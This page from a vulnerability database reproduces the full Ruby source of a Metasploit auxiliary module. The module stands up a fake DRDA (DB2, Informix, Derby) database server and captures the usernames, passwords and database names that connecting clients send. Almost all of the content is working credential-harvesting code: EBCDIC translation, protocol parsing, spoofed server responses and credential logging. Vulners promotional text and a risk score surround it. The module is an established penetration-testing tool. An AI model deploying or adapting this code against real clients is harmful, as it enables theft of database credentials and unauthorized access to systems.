Lucene search
K

Authentication Capture: DRDA (DB2, Informix, Derby)

🗓️ 11 Jul 2012 22:19:27Reported by Patrik Karlsson <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 10 Views

Authentication Capture: DRDA server for DB2, Informix, Derb

Code
# -*- coding: binary -*-

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::TcpServer
  include Msf::Auxiliary::Report

  class Constants
    CODEPOINT_ACCSEC    = 0x106d
    CODEPOINT_SECCHK    = 0x106e
    CODEPOINT_SRVCLSNM  = 0x1147
    CODEPOINT_SRVCOD    = 0x1149
    CODEPOINT_SRVRLSLV  = 0x115a
    CODEPOINT_EXTNAM    = 0x115e
    CODEPOINT_SRVNAM    = 0x116d
    CODEPOINT_USERID    = 0x11a0
    CODEPOINT_PASSWORD  = 0x11a1
    CODEPOINT_SECMEC    = 0x11a2
    CODEPOINT_SECCHKCD  = 0x11a4
    CODEPOINT_SECCHKRM  = 0x1219
    CODEPOINT_MGRLVLLS  = 0x1404
    CODEPOINT_EXCSATRD  = 0x1443
    CODEPOINT_ACCSECRD  = 0x14ac
    CODEPOINT_RDBNAM    = 0x2110
  end

  def initialize
    super(
      'Name'           => 'Authentication Capture: DRDA (DB2, Informix, Derby)',
      'Description'    => %q{
        This module provides a fake DRDA (DB2, Informix, Derby) server
      that is designed to capture authentication credentials.
      },
      'Author'         => 'Patrik Karlsson <patrik[at]cqure.net>',
      'License'        => MSF_LICENSE,
      'Actions'        => [[ 'Capture', 'Description' => 'Run DRDA capture server' ]],
      'PassiveActions' => [ 'Capture' ],
      'DefaultAction'  => 'Capture'
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The local port to listen on.", 50000 ])
      ])
  end

  def setup
    super
    @state = {}
  end

  def run
    exploit()
  end

  def on_client_connect(c)
    @state[c] = {
      :name     => "#{c.peerhost}:#{c.peerport}",
      :ip       => c.peerhost,
      :port     => c.peerport,
      :user     => nil,
      :pass     => nil,
      :database => nil
    }
  end

  # translates EBDIC to ASCII
  def drda_ascii_to_ebdic(str)
    a2e = [
      "00010203372D2E2F1605250B0C0D0E0F101112133C3D322618193F271C1D1E1F" +
      "405A7F7B5B6C507D4D5D5C4E6B604B61F0F1F2F3F4F5F6F7F8F97A5E4C7E6E6F" +
      "7CC1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7D8D9E2E3E4E5E6E7E8E9ADE0BD5F6D" +
      "79818283848586878889919293949596979899A2A3A4A5A6A7A8A9C04FD0A107" +
      "202122232415061728292A2B2C090A1B30311A333435360838393A3B04143EE1" +
      "4142434445464748495152535455565758596263646566676869707172737475" +
      "767778808A8B8C8D8E8F909A9B9C9D9E9FA0AAABAC4AAEAFB0B1B2B3B4B5B6B7" +
      "B8B9BABBBC6ABEBFCACBCCCDCECFDADBDCDDDEDFEAEBECEDEEEFFAFBFCFDFEFF"
    ].pack("H*")
    str.unpack('C*').map {|c| a2e[c] }.pack("A"*str.length)
  end

  # translates ASCII to EBDIC
  def drda_ebdic_to_ascii(str)
    e2a = [
      "000102039C09867F978D8E0B0C0D0E0F101112139D8508871819928F1C1D1E1F" +
      "80818283840A171B88898A8B8C050607909116939495960498999A9B14159E1A" +
      "20A0A1A2A3A4A5A6A7A8D52E3C282B7C26A9AAABACADAEAFB0B121242A293B5E" +
      "2D2FB2B3B4B5B6B7B8B9E52C255F3E3FBABBBCBDBEBFC0C1C2603A2340273D22" +
      "C3616263646566676869C4C5C6C7C8C9CA6A6B6C6D6E6F707172CBCCCDCECFD0" +
      "D17E737475767778797AD2D3D45BD6D7D8D9DADBDCDDDEDFE0E1E2E3E45DE6E7" +
      "7B414243444546474849E8E9EAEBECED7D4A4B4C4D4E4F505152EEEFF0F1F2F3" +
      "5C9F535455565758595AF4F5F6F7F8F930313233343536373839FAFBFCFDFEFF"
    ].pack("H*")
    str.unpack('C*').map {|c| e2a[c] }.pack("A"*str.length)
  end

  # parses and returns a DRDA parameter
  def drda_parse_parameter(data)
    param = {
      :length => data.slice!(0,2).unpack("n")[0],
      :codepoint => data.slice!(0,2).unpack("n")[0],
      :data => ""
    }
    param[:data] = drda_ebdic_to_ascii(data.slice!(0,param[:length] - 4).unpack("A*")[0])
    param
  end

  # creates a DRDA parameter
  def drda_create_parameter(codepoint, data)
    param = {
      :codepoint => codepoint,
      :data => drda_ascii_to_ebdic(data),
      :length => data.length + 4
    }
    param
  end

  # creates a DRDA CMD with parameters and returns it as an opaque string
  def drda_create_cmd(codepoint, options = { :format => 0x43, :correlid => 0x01 }, params=[])
    data = ""
    for p in params.each
      data << [p[:length]].pack("n")
      data << [p[:codepoint]].pack("n")
      data << [p[:data]].pack("A*")
    end

    hdr = ""
    hdr << [data.length + 10].pack("n")
    hdr << [0xd0].pack("C") # magic
    hdr << [options[:format]].pack("C") # format
    hdr << [options[:correlid]].pack("n") # corellid
    hdr << [data.length + 4].pack("n") # length2
    hdr << [codepoint].pack("n")

    data = hdr + data
    data
  end

  # parses a response and returns an array with commands and parameters
  def drda_parse_response(data)
    result = []

    until data.empty?
      cp = {
        :length => data.slice!(0, 2).unpack("n")[0],
        :magic  => data.slice!(0, 1).unpack("C")[0],
        :format => data.slice!(0, 1).unpack("C")[0],
        :corellid => data.slice!(0,2).unpack("n")[0],
        :length2 => data.slice!(0,2).unpack("n")[0],
        :codepoint => data.slice!(0,2).unpack("n")[0],
        :params => []
      }
      cpdata = data.slice!(0, cp[:length] - 10)
      until cpdata.empty?
        cp[:params] << drda_parse_parameter(cpdata)
      end
      result << cp
    end
    result
  end

  # sends of a DRDA command
  def drda_send_cmd(c, cmd)
    data = ""
    cmd.each {|d| data << d}
    c.put data
  end

  def on_client_data(c)
    data = c.get_once

    return if not data

    for cmd in drda_parse_response(data).each
      case cmd[:codepoint]
      when Constants::CODEPOINT_ACCSEC
        params = []
        params << drda_create_parameter(Constants::CODEPOINT_EXTNAM, "DB2     db2sysc 05D80B00%FED%Y00")
        params << drda_create_parameter(Constants::CODEPOINT_MGRLVLLS, ["9d03008e847f008e1c970000840f00979d20008d9dbe0097"].pack("H*"))
        params << drda_create_parameter(Constants::CODEPOINT_SRVCLSNM, "QDB2/NT64")
        params << drda_create_parameter(Constants::CODEPOINT_SRVNAM, "DB2")
        params << drda_create_parameter(Constants::CODEPOINT_SRVRLSLV, "SQL10010")

        cmd = []
        cmd << drda_create_cmd(Constants::CODEPOINT_EXCSATRD, { :format => 0x43, :correlid => 1 }, params)

        params = []
        params << drda_create_parameter(Constants::CODEPOINT_SECMEC, "\x00\x03")
        cmd << drda_create_cmd(Constants::CODEPOINT_ACCSECRD, { :format => 3, :correlid => 2 }, params)

        drda_send_cmd(c, cmd)

      when Constants::CODEPOINT_SECCHK
        for p in cmd[:params].each
          case p[:codepoint]
          when Constants::CODEPOINT_USERID
            @state[c][:user] = p[:data].rstrip
          when Constants::CODEPOINT_PASSWORD
            @state[c][:pass] = p[:data].rstrip
          when Constants::CODEPOINT_RDBNAM
            @state[c][:database] = p[:data].rstrip
          end
        end
      else
        # print_status("unhandled codepoint: #{cmd[:codepoint]}")
        # do nothing
      end
    end

    if @state[c][:user] and @state[c][:pass]
      print_good("DRDA LOGIN #{@state[c][:name]} Database: #{@state[c][:database]}; #{@state[c][:user]} / #{@state[c][:pass]}")
      report_cred(
        ip: @state[c][:ip],
        port: datastore['SRVPORT'],
        service_name: 'db2_client',
        user: @state[c][:user],
        password: @state[c][:pass],
        proof: @state.inspect
      )

      params = []
      params << drda_create_parameter(Constants::CODEPOINT_SRVCOD, "\x00\x97")
      params << drda_create_parameter(Constants::CODEPOINT_SECCHKCD, "\x0f")

      cmd = []
      cmd << drda_create_cmd(Constants::CODEPOINT_SECCHKRM, { :format => 2, :correlid => 1 }, params)

      drda_send_cmd(c, cmd)
      #c.close
    end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def on_client_close(c)
    @state.delete(c)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 May 2020 19:51Current
7.2High risk
Vulners AI Score7.2
10